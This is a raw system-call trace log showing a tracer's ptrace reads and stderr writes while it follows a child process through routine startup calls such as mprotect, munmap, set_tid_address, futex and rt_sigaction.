	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1002]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7fda7a0]) = 0
	write(2, "arch_prctl(ARCH_SET_FS, 0x7ffff7"..., 38) = 38
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7008000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7008000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7221000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7221000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7429000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7429000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a4000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff77a4000, 16384, "..., 41) = 41
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79b4000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff79b4000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bbc000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7bbc000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7dd9000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7dd9000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x618000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x618000, 4096, PROT_RE"..., 34) = 34
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 10) = 10
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ffc000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	write(2, "mprotect(0x7ffff7ffc000, 4096, P"..., 40) = 40
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdf000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x19329]) = 0
	write(2, "munmap(0x7ffff7fdf000, 103209", 29) = 29
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 15) = 15
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdaa70]) = 0
	write(2, "set_tid_address(0x7ffff7fdaa70", 30) = 30
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x77e4]) = 0
	write(2, ") = 30692\n", 18) = 18
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x111]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdaa80]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x18]) = 0
	write(2, "set_robust_list(0x7ffff7fdaa80, "..., 36) = 36
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x111]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffe2dc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x81]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x7ffff7dedceb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x1f25bc2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x7ffff7fda7a0]) = 0
	write(2, "futex(0x7fffffffe2dc, FUTEX_WAKE"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffe2dc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x189]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x7ffff7fda7a0]) = 0
	write(2, "futex(0x7fffffffe2dc, FUTEX_WAIT"..., 91) = 91
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffff5]) = 0
	write(2, ") = -1 EAGAIN (Resource temporar"..., 49) = 49
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x20]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe170]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe170, [0x7ffff700fb20]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe178, [0x4000004]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe180, [0x7ffff7019b40]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe188, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe190, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe198, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1c0, [0]) = 0
	write(2, "rt_sigaction(SIGRTMIN, {0x7ffff7"..., 85) = 85
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, "NULL, 8) = 0\n", 13) = 13
